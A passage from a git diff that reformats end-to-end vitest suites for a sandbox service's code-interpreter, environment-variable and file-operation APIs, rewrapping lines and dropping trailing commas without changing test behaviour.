Test Workflow', () => { method: 'POST', headers, body: JSON.stringify({ - command: 'pwd', - }), + command: 'pwd' + }) }); expect(pwdResponse.status).toBe(200); @@ -111,8 +114,8 @@ describe('Build and Test Workflow', () => { method: 'POST', headers, body: JSON.stringify({ - command: 'exit 1', - }), + command: 'exit 1' + }) }); // Should return 500 error since shell terminated unexpectedly diff --git a/tests/e2e/code-interpreter-workflow.test.ts b/tests/e2e/code-interpreter-workflow.test.ts index 184edbff..3e0ea51c 100644 --- a/tests/e2e/code-interpreter-workflow.test.ts +++ b/tests/e2e/code-interpreter-workflow.test.ts @@ -14,9 +14,22 @@ * and ensure the code interpreter works end-to-end in a real container environment. */ -import { afterAll, afterEach, beforeAll, describe, expect, test, vi } from 'vitest'; +import { + afterAll, + afterEach, + beforeAll, + describe, + expect, + test, + vi +} from 'vitest'; import { getTestWorkerUrl, WranglerDevRunner } from './helpers/wrangler-runner'; -import { createSandboxId, createTestHeaders, fetchWithStartup, cleanupSandbox } from './helpers/test-fixtures'; +import { + createSandboxId, + createTestHeaders, + fetchWithStartup, + cleanupSandbox +} from './helpers/test-fixtures'; describe('Code Interpreter Workflow (E2E)', () => { let runner: WranglerDevRunner | null; @@ -52,11 +65,12 @@ describe('Code Interpreter Workflow (E2E)', () => { // Create Python context const pythonCtxResponse = await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/code/context/create`, { - method: 'POST', - headers, - body: JSON.stringify({ language: 'python' }), - }), + async () => + fetchWithStartup(`${workerUrl}/api/code/context/create`, { + method: 'POST', + headers, + body: JSON.stringify({ language: 'python' }) + }), { timeout: 90000, interval: 2000 } ); @@ -69,7 +83,7 @@ describe('Code Interpreter Workflow (E2E)', () => { const jsCtxResponse = await fetch(`${workerUrl}/api/code/context/create`, { method: 'POST', headers, - body: JSON.stringify({ language: 'javascript' }), + body: JSON.stringify({ language: 'javascript' }) }); expect(jsCtxResponse.status).toBe(200); @@ -81,7 +95,7 @@ describe('Code Interpreter Workflow (E2E)', () => { // List all contexts const listResponse = await fetch(`${workerUrl}/api/code/context/list`, { method: 'GET', - headers, + headers }); expect(listResponse.status).toBe(200); @@ -100,11 +114,12 @@ describe('Code Interpreter Workflow (E2E)', () => { // Create context const createResponse = await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/code/context/create`, { - method: 'POST', - headers, - body: JSON.stringify({ language: 'python' }), - }), + async () => + fetchWithStartup(`${workerUrl}/api/code/context/create`, { + method: 'POST', + headers, + body: JSON.stringify({ language: 'python' }) + }), { timeout: 90000, interval: 2000 } ); @@ -112,10 +127,13 @@ describe('Code Interpreter Workflow (E2E)', () => { const contextId = context.id; // Delete context - const deleteResponse = await fetch(`${workerUrl}/api/code/context/${contextId}`, { - method: 'DELETE', - headers, - }); + const deleteResponse = await fetch( + `${workerUrl}/api/code/context/${contextId}`, + { + method: 'DELETE', + headers + } + ); expect(deleteResponse.status).toBe(200); const deleteData = await deleteResponse.json(); @@ -125,7 +143,7 @@ describe('Code Interpreter Workflow (E2E)', () => { // Verify context is removed from list const listResponse = await fetch(`${workerUrl}/api/code/context/list`, { method: 'GET', - headers, + headers }); const contexts = await listResponse.json(); @@ -143,11 +161,12 @@ describe('Code Interpreter Workflow (E2E)', () => { // Create Python context const ctxResponse = await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/code/context/create`, { - method: 'POST', - headers, - body: JSON.stringify({ language: 'python' }), - }), + async () => + fetchWithStartup(`${workerUrl}/api/code/context/create`, { + method: 'POST', + headers, + body: JSON.stringify({ language: 'python' }) + }), { timeout: 90000, interval: 2000 } ); @@ -159,8 +178,8 @@ describe('Code Interpreter Workflow (E2E)', () => { headers, body: JSON.stringify({ code: 'print("Hello from Python!")', - options: { context }, - }), + options: { context } + }) }); expect(execResponse.status).toBe(200); @@ -177,11 +196,12 @@ describe('Code Interpreter Workflow (E2E)', () => { // Create context const ctxResponse = await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/code/context/create`, { - method: 'POST', - headers, - body: JSON.stringify({ language: 'python' }), - }), + async () => + fetchWithStartup(`${workerUrl}/api/code/context/create`, { + method: 'POST', + headers, + body: JSON.stringify({ language: 'python' }) + }), { timeout: 90000, interval: 2000 } ); @@ -193,8 +213,8 @@ describe('Code Interpreter Workflow (E2E)', () => { headers, body: JSON.stringify({ code: 'x = 42\ny = 10', - options: { context }, - }), + options: { context } + }) }); expect(exec1Response.status).toBe(200); @@ -207,8 +227,8 @@ describe('Code Interpreter Workflow (E2E)', () => { headers, body: JSON.stringify({ code: 'result = x + y\nprint(result)', - options: { context }, - }), + options: { context } + }) }); expect(exec2Response.status).toBe(200); @@ -223,11 +243,12 @@ describe('Code Interpreter Workflow (E2E)', () => { // Create context const ctxResponse = await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/code/context/create`, { - method: 'POST', - headers, - body: JSON.stringify({ language: 'python' }), - }), + async () => + fetchWithStartup(`${workerUrl}/api/code/context/create`, { + method: 'POST', + headers, + body: JSON.stringify({ language: 'python' }) + }), { timeout: 90000, interval: 2000 } ); @@ -239,8 +260,8 @@ describe('Code Interpreter Workflow (E2E)', () => { headers, body: JSON.stringify({ code: 'x = 1 / 0', - options: { context }, - }), + options: { context } + }) }); expect(execResponse.status).toBe(200); @@ -248,7 +269,9 @@ describe('Code Interpreter Workflow (E2E)', () => { expect(execution.error).toBeDefined(); expect(execution.error.name).toContain('Error'); - expect(execution.error.message || execution.error.traceback).toContain('division'); + expect(execution.error.message || execution.error.traceback).toContain( + 'division' + ); }, 120000); // ============================================================================ @@ -261,11 +284,12 @@ describe('Code Interpreter Workflow (E2E)', () => { // Create JavaScript context const ctxResponse = await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/code/context/create`, { - method: 'POST', - headers, - body: JSON.stringify({ language: 'javascript' }), - }), + async () => + fetchWithStartup(`${workerUrl}/api/code/context/create`, { + method: 'POST', + headers, + body: JSON.stringify({ language: 'javascript' }) + }), { timeout: 90000, interval: 2000 } ); @@ -277,8 +301,8 @@ describe('Code Interpreter Workflow (E2E)', () => { headers, body: JSON.stringify({ code: 'console.log("Hello from JavaScript!");', - options: { context }, - }), + options: { context } + }) }); expect(execResponse.status).toBe(200); @@ -294,11 +318,12 @@ describe('Code Interpreter Workflow (E2E)', () => { // Create context const ctxResponse = await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/code/context/create`, { - method: 'POST', - headers, - body: JSON.stringify({ language: 'javascript' }), - }), + async () => + fetchWithStartup(`${workerUrl}/api/code/context/create`, { + method: 'POST', + headers, + body: JSON.stringify({ language: 'javascript' }) + }), { timeout: 90000, interval: 2000 } ); @@ -310,8 +335,8 @@ describe('Code Interpreter Workflow (E2E)', () => { headers, body: JSON.stringify({ code: 'global.counter = 0;', - options: { context }, - }), + options: { context } + }) }); expect(exec1Response.status).toBe(200); @@ -322,8 +347,8 @@ describe('Code Interpreter Workflow (E2E)', () => { headers, body: JSON.stringify({ code: 'console.log(++global.counter);', - options: { context }, - }), + options: { context } + }) }); expect(exec2Response.status).toBe(200); @@ -337,11 +362,12 @@ describe('Code Interpreter Workflow (E2E)', () => { // Create context const ctxResponse = await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/code/context/create`, { - method: 'POST', - headers, - body: JSON.stringify({ language: 'javascript' }), - }), + async () => + fetchWithStartup(`${workerUrl}/api/code/context/create`, { + method: 'POST', + headers, + body: JSON.stringify({ language: 'javascript' }) + }), { timeout: 90000, interval: 2000 } ); @@ -353,15 +379,17 @@ describe('Code Interpreter Workflow (E2E)', () => { headers, body: JSON.stringify({ code: 'console.log(undefinedVariable);', - options: { context }, - }), + options: { context } + }) }); expect(execResponse.status).toBe(200); const execution = await execResponse.json(); expect(execution.error).toBeDefined(); - expect(execution.error.name || execution.error.message).toMatch(/Error|undefined/i); + expect(execution.error.name || execution.error.message).toMatch( + /Error|undefined/i + ); }, 120000); // ============================================================================ @@ -374,11 +402,12 @@ describe('Code Interpreter Workflow (E2E)', () => { // Create context const ctxResponse = await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/code/context/create`, { - method: 'POST', - headers, - body: JSON.stringify({ language: 'python' }), - }), + async () => + fetchWithStartup(`${workerUrl}/api/code/context/create`, { + method: 'POST', + headers, + body: JSON.stringify({ language: 'python' }) + }), { timeout: 90000, interval: 2000 } ); @@ -395,12 +424,14 @@ for i in range(3): print(f"Step {i}") time.sleep(0.1) `.trim(), - options: { context }, - }), + options: { context } + }) }); expect(streamResponse.status).toBe(200); - expect(streamResponse.headers.get('content-type')).toBe('text/event-stream'); + expect(streamResponse.headers.get('content-type')).toBe( + 'text/event-stream' + ); // Collect streaming events const reader = streamResponse.body?.getReader(); @@ -457,11 +488,12 @@ for i in range(3): // Create Python context const pythonCtxResponse = await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/code/context/create`, { - method: 'POST', - headers, - body: JSON.stringify({ language: 'python' }), - }), + async () => + fetchWithStartup(`${workerUrl}/api/code/context/create`, { + method: 'POST', + headers, + body: JSON.stringify({ language: 'python' }) + }), { timeout: 90000, interval: 2000 } ); @@ -479,8 +511,8 @@ with open('/tmp/shared_data.json', 'w') as f: json.dump(data, f) print("Data saved") `.trim(), - options: { context: pythonCtx }, - }), + options: { context: pythonCtx } + }) }); expect(pythonExecResponse.status).toBe(200); @@ -492,7 +524,7 @@ print("Data saved") const jsCtxResponse = await fetch(`${workerUrl}/api/code/context/create`, { method: 'POST', headers, - body: JSON.stringify({ language: 'javascript' }), + body: JSON.stringify({ language: 'javascript' }) }); const jsCtx = await jsCtxResponse.json(); @@ -508,8 +540,8 @@ const data = JSON.parse(fs.readFileSync('/tmp/shared_data.json', 'utf8')); const sum = data.values.reduce((a, b) => a + b, 0); console.log('Sum:', sum); `.trim(), - options: { context: jsCtx }, - }), + options: { context: jsCtx } + }) }); expect(jsExecResponse.status).toBe(200); @@ -528,11 +560,12 @@ console.log('Sum:', sum); // Create two Python contexts const ctx1Response = await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/code/context/create`, { - method: 'POST', - headers, - body: JSON.stringify({ language: 'python' }), - }), + async () => + fetchWithStartup(`${workerUrl}/api/code/context/create`, { + method: 'POST', + headers, + body: JSON.stringify({ language: 'python' }) + }), { timeout: 90000, interval: 2000 } ); @@ -541,7 +574,7 @@ console.log('Sum:', sum); const ctx2Response = await fetch(`${workerUrl}/api/code/context/create`, { method: 'POST', headers, - body: JSON.stringify({ language: 'python' }), + body: JSON.stringify({ language: 'python' }) }); const context2 = await ctx2Response.json(); @@ -552,8 +585,8 @@ console.log('Sum:', sum); headers, body: JSON.stringify({ code: 'secret = "context1"', - options: { context: context1 }, - }), + options: { context: context1 } + }) }); expect(exec1Response.status).toBe(200); @@ -564,8 +597,8 @@ console.log('Sum:', sum); headers, body: JSON.stringify({ code: 'print(secret)', - options: { context: context2 }, - }), + options: { context: context2 } + }) }); expect(exec2Response.status).toBe(200); @@ -573,7 +606,9 @@ console.log('Sum:', sum); // Should have error about undefined variable expect(execution2.error).toBeDefined(); - expect(execution2.error.name || execution2.error.message).toMatch(/NameError|not defined/i); + expect(execution2.error.name || execution2.error.message).toMatch( + /NameError|not defined/i + ); }, 120000); // ============================================================================ @@ -586,11 +621,16 @@ console.log('Sum:', sum); // Try to create context with invalid language const ctxResponse = await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/code/context/create`, { - method: 'POST', - headers, - body: JSON.stringify({ language: 'invalid-lang' }), - }, { expectSuccess: false }), + async () => + fetchWithStartup( + `${workerUrl}/api/code/context/create`, + { + method: 'POST', + headers, + body: JSON.stringify({ language: 'invalid-lang' }) + }, + { expectSuccess: false } + ), { timeout: 90000, interval: 2000 } ); @@ -606,14 +646,21 @@ console.log('Sum:', sum); // Try to execute with fake context const execResponse = await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/code/execute`, { - method: 'POST', - headers, - body: JSON.stringify({ - code: 'print("test")', - options: { context: { id: 'fake-context-id-12345', language: 'python' } }, - }), - }, { expectSuccess: false }), + async () => + fetchWithStartup( + `${workerUrl}/api/code/execute`, + { + method: 'POST', + headers, + body: JSON.stringify({ + code: 'print("test")', + options: { + context: { id: 'fake-context-id-12345', language: 'python' } + } + }) + }, + { expectSuccess: false } + ), { timeout: 90000, interval: 2000 } ); @@ -629,19 +676,23 @@ console.log('Sum:', sum); // Initialize sandbox await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/execute`, { - method: 'POST', - headers, - body: JSON.stringify({ command: 'echo "init"' }), - }), + async () => + fetchWithStartup(`${workerUrl}/api/execute`, { + method: 'POST', + headers, + body: JSON.stringify({ command: 'echo "init"' }) + }), { timeout: 90000, interval: 2000 } ); // Try to delete non-existent context - const deleteResponse = await fetch(`${workerUrl}/api/code/context/fake-id-99999`, { - method: 'DELETE', - headers, - }); + const deleteResponse = await fetch( + `${workerUrl}/api/code/context/fake-id-99999`, + { + method: 'DELETE', + headers + } + ); // Should return error expect(deleteResponse.status).toBeGreaterThanOrEqual(400); diff --git a/tests/e2e/environment-workflow.test.ts b/tests/e2e/environment-workflow.test.ts index 24bb624f..666d793f 100644 --- a/tests/e2e/environment-workflow.test.ts +++ b/tests/e2e/environment-workflow.test.ts @@ -1,6 +1,19 @@ -import { describe, test, expect, beforeAll, afterAll, afterEach, vi } from 'vitest'; +import { + describe, + test, + expect, + beforeAll, + afterAll, + afterEach, + vi +} from 'vitest'; import { getTestWorkerUrl, WranglerDevRunner } from './helpers/wrangler-runner'; -import { createSandboxId, createTestHeaders, fetchWithStartup, cleanupSandbox } from './helpers/test-fixtures'; +import { + createSandboxId, + createTestHeaders, + fetchWithStartup, + cleanupSandbox +} from './helpers/test-fixtures'; describe('Environment Variables Workflow', () => { describe('local', () => { @@ -35,13 +48,14 @@ describe('Environment Variables Workflow', () => { // Step 1: Set environment variable const setEnvResponse = await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/env/set`, { - method: 'POST', - headers, - body: JSON.stringify({ - envVars: { TEST_VAR: 'hello_world' }, + async () => + fetchWithStartup(`${workerUrl}/api/env/set`, { + method: 'POST', + headers, + body: JSON.stringify({ + envVars: { TEST_VAR: 'hello_world' } + }) }), - }), { timeout: 90000, interval: 2000 } ); @@ -54,8 +68,8 @@ describe('Environment Variables Workflow', () => { method: 'POST', headers, body: JSON.stringify({ - command: 'echo $TEST_VAR', - }), + command: 'echo $TEST_VAR' + }) }); expect(execResponse.status).toBe(200); @@ -70,17 +84,18 @@ describe('Environment Variables Workflow', () => { // Step 1: Set multiple environment variables const setEnvResponse = await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/env/set`, { - method: 'POST', - headers, - body: JSON.stringify({ - envVars: { - API_KEY: 'secret123', - DB_HOST: 'localhost', - PORT: '3000', - }, + async () => + fetchWithStartup(`${workerUrl}/api/env/set`, { + method: 'POST', + headers, + body: JSON.stringify({ + envVars: { + API_KEY: 'secret123', + DB_HOST: 'localhost', + PORT: '3000' + } + }) }), - }), { timeout: 90000, interval: 2000 } ); @@ -93,8 +108,8 @@ describe('Environment Variables Workflow', () => { method: 'POST', headers, body: JSON.stringify({ - command: 'echo "$API_KEY|$DB_HOST|$PORT"', - }), + command: 'echo "$API_KEY|$DB_HOST|$PORT"' + }) }); expect(execResponse.status).toBe(200); @@ -109,13 +124,14 @@ describe('Environment Variables Workflow', () => { // Step 1: Set environment variable const setEnvResponse = await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/env/set`, { - method: 'POST', - headers, - body: JSON.stringify({ - envVars: { PERSISTENT_VAR: 'still_here' }, + async () => + fetchWithStartup(`${workerUrl}/api/env/set`, { + method: 'POST', + headers, + body: JSON.stringify({ + envVars: { PERSISTENT_VAR: 'still_here' } + }) }), - }), { timeout: 90000, interval: 2000 } ); @@ -126,8 +142,8 @@ describe('Environment Variables Workflow', () => { method: 'POST', headers, body: JSON.stringify({ - command: 'echo $PERSISTENT_VAR', - }), + command: 'echo $PERSISTENT_VAR' + }) }); expect(exec1Response.status).toBe(200); @@ -140,8 +156,8 @@ describe('Environment Variables Workflow', () => { method: 'POST', headers, body: JSON.stringify({ - command: 'printenv PERSISTENT_VAR', - }), + command: 'printenv PERSISTENT_VAR' + }) }); expect(exec2Response.status).toBe(200); @@ -154,8 +170,8 @@ describe('Environment Variables Workflow', () => { method: 'POST', headers, body: JSON.stringify({ - command: 'sh -c "echo $PERSISTENT_VAR"', - }), + command: 'sh -c "echo $PERSISTENT_VAR"' + }) }); expect(exec3Response.status).toBe(200); @@ -170,13 +186,14 @@ describe('Environment Variables Workflow', () => { // Step 1: Set environment variable const setEnvResponse = await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/env/set`, { - method: 'POST', - headers, - body: JSON.stringify({ - envVars: { PROCESS_VAR: 'from_env' }, + async () => + fetchWithStartup(`${workerUrl}/api/env/set`, { + method: 'POST', + headers, + body: JSON.stringify({ + envVars: { PROCESS_VAR: 'from_env' } + }) }), - }), { timeout: 90000, interval: 2000 } ); @@ -189,8 +206,8 @@ describe('Environment Variables Workflow', () => { headers, body: JSON.stringify({ path: '/workspace/env-test.sh', - content: '#!/bin/sh\necho "ENV_VALUE=$PROCESS_VAR"\n', - }), + content: '#!/bin/sh\necho "ENV_VALUE=$PROCESS_VAR"\n' + }) }); expect(writeResponse.status).toBe(200); @@ -200,8 +217,8 @@ describe('Environment Variables Workflow', () => { method: 'POST', headers, body: JSON.stringify({ - command: 'chmod +x /workspace/env-test.sh', - }), + command: 'chmod +x /workspace/env-test.sh' + }) }); // Step 3: Start the process (same sandbox) @@ -209,8 +226,8 @@ describe('Environment Variables Workflow', () => { method: 'POST', headers, body: JSON.stringify({ - command: '/workspace/env-test.sh', - }), + command: '/workspace/env-test.sh' + }) }); expect(startResponse.status).toBe(200); @@ -225,7 +242,7 @@ describe('Environment Variables Workflow', () => { `${workerUrl}/api/process/${processId}/logs`, { method: 'GET', - headers, + headers } ); @@ -238,8 +255,8 @@ describe('Environment Variables Workflow', () => { method: 'DELETE', headers, body: JSON.stringify({ - path: '/workspace/env-test.sh', - }), + path: '/workspace/env-test.sh' + }) }); }, 90000); @@ -249,13 +266,14 @@ describe('Environment Variables Workflow', () => { // Test 1: cat with no arguments should exit immediately with EOF const catResponse = await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/execute`, { - method: 'POST', - headers, - body: JSON.stringify({ - command: 'cat', + async () => + fetchWithStartup(`${workerUrl}/api/execute`, { + method: 'POST', + headers, + body: JSON.stringify({ + command: 'cat' + }) }), - }), { timeout: 90000, interval: 2000 } ); @@ -270,8 +288,8 @@ describe('Environment Variables Workflow', () => { method: 'POST', headers, body: JSON.stringify({ - command: 'read -t 1 INPUT_VAR || echo "read returned"', - }), + command: 'read -t 1 INPUT_VAR || echo "read returned"' + }) }); expect(readResponse.status).toBe(200); @@ -284,8 +302,8 @@ describe('Environment Variables Workflow', () => { method: 'POST', headers, body: JSON.stringify({ - command: 'grep "test" || true', - }), + command: 'grep "test" || true' + }) }); expect(grepResponse.status).toBe(200); diff --git a/tests/e2e/file-operations-workflow.test.ts b/tests/e2e/file-operations-workflow.test.ts index bc49972e..84dd4d1a 100644 --- a/tests/e2e/file-operations-workflow.test.ts +++ b/tests/e2e/file-operations-workflow.test.ts @@ -11,9 +11,22 @@ * and file manipulation across directory structures. */ -import { afterAll, afterEach, beforeAll, describe, expect, test, vi } from 'vitest'; +import { + afterAll, + afterEach, + beforeAll, + describe, + expect, + test, + vi +} from 'vitest'; import { getTestWorkerUrl, WranglerDevRunner } from './helpers/wrangler-runner'; -import { createSandboxId, createTestHeaders, fetchWithStartup, cleanupSandbox } from './helpers/test-fixtures'; +import { + createSandboxId, + createTestHeaders, + fetchWithStartup, + cleanupSandbox +} from './helpers/test-fixtures'; describe('File Operations Workflow (E2E)', () => { let runner: WranglerDevRunner | null; @@ -43,19 +56,20 @@ describe('File Operations Workflow (E2E)', () => { test('should create nested directories', async () => { currentSandboxId = createSandboxId(); - const headers = createTestHeaders(currentSandboxId); + const headers = createTestHeaders(currentSandboxId); // Create nested directory structure const mkdirResponse = await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/file/mkdir`, { - method: 'POST', - headers, - body: JSON.stringify({ - path: '/workspace/project/src/components', + async () => + fetchWithStartup(`${workerUrl}/api/file/mkdir`, { + method: 'POST', + headers, + body: JSON.stringify({ + path: '/workspace/project/src/components', - recursive: true, + recursive: true + }) }), - }), { timeout: 90000, interval: 2000 } ); @@ -67,9 +81,8 @@ describe('File Operations Workflow (E2E)', () => { method: 'POST', headers, body: JSON.stringify({ - command: 'ls -la /workspace/project/src/components', - - }), + command: 'ls -la /workspace/project/src/components' + }) }); const lsData = await lsResponse.json(); @@ -80,19 +93,20 @@ describe('File Operations Workflow (E2E)', () => { test('should write files in subdirectories and read them back', async () => { currentSandboxId = createSandboxId(); - const headers = createTestHeaders(currentSandboxId); + const headers = createTestHeaders(currentSandboxId); // Create directory structure await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/file/mkdir`, { - method: 'POST', - headers, - body: JSON.stringify({ - path: '/workspace/app/config', + async () => + fetchWithStartup(`${workerUrl}/api/file/mkdir`, { + method: 'POST', + headers, + body: JSON.stringify({ + path: '/workspace/app/config', - recursive: true, + recursive: true + }) }), - }), { timeout: 90000, interval: 2000 } ); @@ -102,9 +116,8 @@ describe('File Operations Workflow (E2E)', () => { headers, body: JSON.stringify({ path: '/workspace/app/config/settings.json', - content: JSON.stringify({ debug: true, port: 3000 }), - - }), + content: JSON.stringify({ debug: true, port: 3000 }) + }) }); expect(writeResponse.status).toBe(200); @@ -114,9 +127,8 @@ describe('File Operations Workflow (E2E)', () => { method: 'POST', headers, body: JSON.stringify({ - path: '/workspace/app/config/settings.json', - - }), + path: '/workspace/app/config/settings.json' + }) }); const readData = await readResponse.json(); @@ -127,19 +139,20 @@ describe('File Operations Workflow (E2E)', () => { test('should rename files', async () => { currentSandboxId = createSandboxId(); - const headers = createTestHeaders(currentSandboxId); + const headers = createTestHeaders(currentSandboxId); // Create directory and write file await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/file/mkdir`, { - method: 'POST', - headers, - body: JSON.stringify({ - path: '/workspace/docs', + async () => + fetchWithStartup(`${workerUrl}/api/file/mkdir`, { + method: 'POST', + headers, + body: JSON.stringify({ + path: '/workspace/docs', - recursive: true, + recursive: true + }) }), - }), { timeout: 90000, interval: 2000 } ); @@ -148,9 +161,8 @@ describe('File Operations Workflow (E2E)', () => { headers, body: JSON.stringify({ path: '/workspace/docs/README.txt', - content: '# Project Documentation', - - }), + content: '# Project Documentation' + }) }); // Rename file from .txt to .md @@ -159,9 +171,8 @@ describe('File Operations Workflow (E2E)', () => { headers, body: JSON.stringify({ oldPath: '/workspace/docs/README.txt', - newPath: '/workspace/docs/README.md', - - }), + newPath: '/workspace/docs/README.md' + }) }); expect(renameResponse.status).toBe(200); @@ -171,9 +182,8 @@ describe('File Operations Workflow (E2E)', () => { method: 'POST', headers, body: JSON.stringify({ - path: '/workspace/docs/README.md', - - }), + path: '/workspace/docs/README.md' + }) }); const readNewData = await readNewResponse.json(); @@ -185,9 +195,8 @@ describe('File Operations Workflow (E2E)', () => { method: 'POST', headers, body: JSON.stringify({ - path: '/workspace/docs/README.txt', - - }), + path: '/workspace/docs/README.txt' + }) }); expect(readOldResponse.status).toBe(500); // Should fail - file doesn't exist @@ -195,7 +204,7 @@ describe('File Operations Workflow (E2E)', () => { test('should move files between directories', async () => { currentSandboxId = createSandboxId(); - const headers = createTestHeaders(currentSandboxId); + const headers = createTestHeaders(currentSandboxId); // Create two directories await vi.waitFor( @@ -206,8 +215,8 @@ describe('File Operations Workflow (E2E)', () => { body: JSON.stringify({ path: '/workspace/source', - recursive: true, - }), + recursive: true + }) }); return fetch(`${workerUrl}/api/file/mkdir`, { @@ -216,8 +225,8 @@ describe('File Operations Workflow (E2E)', () => { body: JSON.stringify({ path: '/workspace/destination', - recursive: true, - }), + recursive: true + }) }); }, { timeout: 90000, interval: 2000 } @@ -229,9 +238,8 @@ describe('File Operations Workflow (E2E)', () => { headers, body: JSON.stringify({ path: '/workspace/source/data.json', - content: JSON.stringify({ id: 1, name: 'test' }), - - }), + content: JSON.stringify({ id: 1, name: 'test' }) + }) }); // Move file to destination @@ -240,9 +248,8 @@ describe('File Operations Workflow (E2E)', () => { headers, body: JSON.stringify({ sourcePath: '/workspace/source/data.json', - destinationPath: '/workspace/destination/data.json', - - }), + destinationPath: '/workspace/destination/data.json' + }) }); expect(moveResponse.status).toBe(200); @@ -252,9 +259,8 @@ describe('File Operations Workflow (E2E)', () => { method: 'POST', headers, body: JSON.stringify({ - path: '/workspace/destination/data.json', - - }), + path: '/workspace/destination/data.json' + }) }); const readDestData = await readDestResponse.json(); @@ -266,9 +272,8 @@ describe('File Operations Workflow (E2E)', () => { method: 'POST', headers, body: JSON.stringify({ - path: '/workspace/source/data.json', - - }), + path: '/workspace/source/data.json' + }) }); expect(readSourceResponse.status).toBe(500); // Should fail - file moved @@ -276,19 +281,20 @@ describe('File Operations Workflow (E2E)', () => { test('should delete files', async () => { currentSandboxId = createSandboxId(); - const headers = createTestHeaders(currentSandboxId); + const headers = createTestHeaders(currentSandboxId); // Create directory and file await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/file/mkdir`, { - method: 'POST', - headers, - body: JSON.stringify({ - path: '/workspace/temp', + async () => + fetchWithStartup(`${workerUrl}/api/file/mkdir`, { + method: 'POST', + headers, + body: JSON.stringify({ + path: '/workspace/temp', - recursive: true, + recursive: true + }) }), - }), { timeout: 90000, interval: 2000 } ); @@ -297,9 +303,8 @@ describe('File Operations Workflow (E2E)', () => { headers, body: JSON.stringify({ path: '/workspace/temp/delete-me.txt', - content: 'This file will be deleted', - - }), + content: 'This file will be deleted' + }) }); // Verify file exists @@ -307,9 +312,8 @@ describe('File Operations Workflow (E2E)', () => { method: 'POST', headers, body: JSON.stringify({ - path: '/workspace/temp/delete-me.txt', - - }), + path: '/workspace/temp/delete-me.txt' + }) }); expect(readBeforeResponse.status).toBe(200); @@ -319,9 +323,8 @@ describe('File Operations Workflow (E2E)', () => { method: 'DELETE', headers, body: JSON.stringify({ - path: '/workspace/temp/delete-me.txt', - - }), + path: '/workspace/temp/delete-me.txt' + }) }); expect(deleteResponse.status).toBe(200); @@ -331,9 +334,8 @@ describe('File Operations Workflow (E2E)', () => { method: 'POST', headers, body: JSON.stringify({ - path: '/workspace/temp/delete-me.txt', - - }), + path: '/workspace/temp/delete-me.txt' + }) }); expect(readAfterResponse.status).toBe(500); // Should fail - file deleted @@ -341,19 +343,20 @@ describe('File Operations Workflow (E2E)', () => { test('should reject deleting directories with deleteFile', async () => { currentSandboxId = createSandboxId(); - const headers = createTestHeaders(currentSandboxId); + const headers = createTestHeaders(currentSandboxId); // Create a directory await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/file/mkdir`, { - method: 'POST', - headers, - body: JSON.stringify({ - path: '/workspace/test-dir', + async () => + fetchWithStartup(`${workerUrl}/api/file/mkdir`, { + method: 'POST', + headers, + body: JSON.stringify({ + path: '/workspace/test-dir', - recursive: true, + recursive: true + }) }), - }), { timeout: 90000, interval: 2000 } ); @@ -362,9 +365,8 @@ describe('File Operations Workflow (E2E)', () => { method: 'DELETE', headers, body: JSON.stringify({ - path: '/workspace/test-dir', - - }), + path: '/workspace/test-dir' + }) }); // Should return error @@ -379,9 +381,8 @@ describe('File Operations Workflow (E2E)', () => { method: 'POST', headers, body: JSON.stringify({ - command: 'ls -d /workspace/test-dir', - - }), + command: 'ls -d /workspace/test-dir' + }) }); const lsData = await lsResponse.json(); @@ -393,27 +394,27 @@ describe('File Operations Workflow (E2E)', () => { method: 'POST', headers, body: JSON.stringify({ - command: 'rm -rf /workspace/test-dir', - - }), + command: 'rm -rf /workspace/test-dir' + }) }); }, 90000); test('should delete directories recursively using exec', async () => { currentSandboxId = createSandboxId(); - const headers = createTestHeaders(currentSandboxId); + const headers = createTestHeaders(currentSandboxId); // Create nested directory structure with files await vi.waitFor( - async () => fetchWithStartup(`${workerUrl}/api/file/mkdir`, { - method: 'POST', - headers, - body: JSON.stringify({ - path: '/workspace/cleanup/nested/deep', + async () => + fetchWithStartup(`${workerUrl}/api/file/mkdir`, { + method: 'POST', + headers, + body: JSON.stringify({ + path: '/workspace/cleanup/nested/deep', - recursive: true, + recursive: true + }) }), - }), { timeout: 90000, interval: 2000 } ); @@ -423,9 +424,8 @@ describe('File Operations Workflow (E2E)', () => { headers, body: JSON.stringify({ path: '/workspace/cleanup/file1.txt', - content: 'Level 1', - - }), + content: 'Level 1' + }) }); await fetch(`${workerUrl}/api/file/write`, { @@ -433,9 +433,8 @@ describe('File Operations Workflow (E2E)', () => { headers, body: JSON.stringify({ path: '/workspace/cleanup/nested/file2.txt', - content: 'Level 2', - - }), + content: 'Level 2' + }) }); // Delete entire directory tree (use exec since deleteFile only works on files) @@ -443,9 +442,8 @@ describe('File Operations Workflow (E2E)', () => { method: 'POST', headers, body: JSON.stringify({ - command: 'rm -rf /workspace/cleanup', - - }), + command: 'rm -rf /workspace/cleanup' + }) }); const deleteData = await deleteResponse.json(); @@ -457,9 +455,8 @@ describe('File Operations Workflow (E2E)', () => { method: 'POST', headers, body: JSON.stringify({ - command: 'ls /workspace/cleanup', - - }), + command: 'ls /workspace/cleanup' + }) }); const lsData = await lsResponse.json(); @@ -469,7 +466,7 @@ describe('File Operations Workflow (E2E)', () => { test('should handle complete project scaffolding workflow', async () => { currentSandboxId = createSandboxId(); - const headers = createTestHeaders(currentSandboxId); + const headers 